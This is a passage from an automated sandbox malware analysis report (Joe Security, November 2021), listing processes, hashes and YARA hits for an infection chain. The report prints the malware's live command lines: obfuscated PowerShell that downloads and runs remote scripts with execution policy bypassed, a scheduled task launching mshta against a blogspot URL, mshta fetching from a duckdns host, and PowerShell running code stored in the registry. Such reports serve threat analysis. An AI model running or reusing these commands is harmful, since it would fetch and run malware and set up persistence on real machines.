Imagebase: 0x13f980000

File size: 13824 bytes

MD5 hash: 95828D670CFD3B16EE188168E083C3C5

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 00000005.00000003.435105368.0000000000344000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 
00000005.00000003.432820755.000000000034A000.00000004.00000001.sdmp, Author: 
Florian Roth
Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 00000005.00000003.436354812.0000000000344000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 00000005.00000003.435170684.0000000000344000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 
00000005.00000002.440997943.00000000047C5000.00000004.00000001.sdmp, Author: 
Florian Roth
Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 00000005.00000002.436801799.0000000000344000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 00000005.00000003.435277073.0000000000344000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 
00000005.00000002.441052500.00000000047DD000.00000004.00000001.sdmp, Author: 
Florian Roth
Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 00000005.00000003.434949731.0000000000344000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 
00000005.00000003.433600883.00000000047C5000.00000004.00000001.sdmp, Author: 
Florian Roth
Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 00000005.00000003.428490008.0000000000345000.00000004.00000001.sdmp, 
Author: Florian Roth

Reputation: high

Show Windows behavior

Show Windows behavior

Start time: 18:33:29

Start date: 25/11/2021

Path: C:\Windows\System32\wbem\WmiPrvSE.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

Imagebase: 0xff170000

File size: 372736 bytes

MD5 hash: 619A67C9F617B7E69315BB28ECD5E1DF

Has elevated privileges: true

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: low

Analysis Process: WmiPrvSE.exe PID: 2396 Parent PID: 596Analysis Process: WmiPrvSE.exe PID: 2396 Parent PID: 596

General
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Registry ActivitiesRegistry Activities Show Windows behavior

File ActivitiesFile Activities

Start time: 18:33:30

Start date: 25/11/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Commandline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy 
Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.c
om/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB
);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b
9_408b52dd81ad428db256ba35835b2ee7.txt?dn=asdoawkdajicqujwdi') -useB);

Imagebase: 0x13f130000

File size: 473600 bytes

MD5 hash: 852D67A27E454BD389FA7F02A8CBE23F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: high

Show Windows behavior

Start time: 18:33:30

Start date: 25/11/2021

Path: C:\Windows\System32\schtasks.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 63 /tn ""kbnvmmmhjo"" /F /tr ""\"
"MsHtA""\""https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html\"

Imagebase: 0xff5a0000

File size: 285696 bytes

MD5 hash: 97E0EC3D6D99E8CC2B17EF2D3760E8FC

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Start time: 18:33:32

Start date: 25/11/2021

Path: C:\Windows\System32\taskeng.exe

Wow64 process (32bit): false

Commandline: taskeng.exe {99CBF033-5891-4579-A9C8-09ABEC64739D} S-1-5-21-966771315-
3019405637-367336477-1006:user-PC\user:Interactive:[1]

Imagebase: 0xffdd0000

File size: 464384 bytes

MD5 hash: 65EA57712340C09B1B0C427B4848AE05

Has elevated privileges: true

Analysis Process: powershell.exe PID: 1988 Parent PID: 2688Analysis Process: powershell.exe PID: 1988 Parent PID: 2688

General

File ReadFile Read

Analysis Process: schtasks.exe PID: 2976 Parent PID: 2688Analysis Process: schtasks.exe PID: 2976 Parent PID: 2688

General

Analysis Process: taskeng.exe PID: 2028 Parent PID: 896Analysis Process: taskeng.exe PID: 2028 Parent PID: 896

General

Copyright Joe Security LLC 2021 Page 87 of 90



File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Show Windows behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 18:33:33

Start date: 25/11/2021

Path: C:\Windows\System32\mshta.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\MsHtA.EXE "https://kukadunikkk@kdaoskdokaodkwldld.blogspot.c
om/p/20.html"

Imagebase: 0x13f980000

File size: 13824 bytes

MD5 hash: 95828D670CFD3B16EE188168E083C3C5

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Show Windows behavior

Show Windows behavior

File ActivitiesFile Activities

Start time: 18:33:38

Start date: 25/11/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Commandline: powershell.exe ((gp HKCU:\Software).cookerr)|IEX

Imagebase: 0x13f130000

File size: 473600 bytes

MD5 hash: 852D67A27E454BD389FA7F02A8CBE23F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Show Windows behavior

File ReadFile Read

Key Value CreatedKey Value Created

Analysis Process: mshta.exe PID: 1992 Parent PID: 2028Analysis Process: mshta.exe PID: 1992 Parent PID: 2028

General

Analysis Process: powershell.exe PID: 1368 Parent PID: 1304Analysis Process: powershell.exe PID: 1368 Parent PID: 1304

General

File ReadFile Read

Analysis Process: powershell.exe PID: 2128 Parent PID: 1764Analysis Process: powershell.exe PID: 2128 Parent PID: 1764

General
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Start time: 18:33:43

Start date: 25/11/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Commandline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy 
Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.c
om/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB
);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a6990275

Imagebase: 0x13f130000

File size: 473600 bytes

MD5 hash: 852D67A27E454BD389FA7F02A8CBE23F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Start time: 18:33:51

Start date: 25/11/2021

Path: C:\Windows\System32\mshta.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\MsHTa.exe" "http://www.starinxxxgkular.duckdns.org/s1/20.txt

Imagebase: 0x13f980000

File size: 13824 bytes

MD5 hash: 95828D670CFD3B16EE188168E083C3C5

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 18:33:59

Start date: 25/11/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Commandline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy 
Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.c
om/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB
);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a6990275

Imagebase: 0x13f130000

File size: 473600 bytes

MD5 hash: 852D67A27E454BD389FA7F02A8CBE23F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Start time: 18:34:07

Start date: 25/11/2021

Path: C:\Windows\System32\mshta.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\MsHTa.exe" "http://www.starinxxxgkular.duckdns.org/s1/20.txt

Imagebase: 0x13f980000

Analysis Process: mshta.exe PID: 1412 Parent PID: 1764Analysis Process: mshta.exe PID: 1412 Parent PID: 1764

General

Analysis Process: powershell.exe PID: 2328 Parent PID: 1764Analysis Process: powershell.exe PID: 2328 Parent PID: 1764

General

Analysis Process: mshta.exe PID: 2972 Parent PID: 1764Analysis Process: mshta.exe PID: 2972 Parent PID: 1764

General
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File size: 13824 bytes

MD5 hash: 95828D670CFD3B16EE188168E083C3C5

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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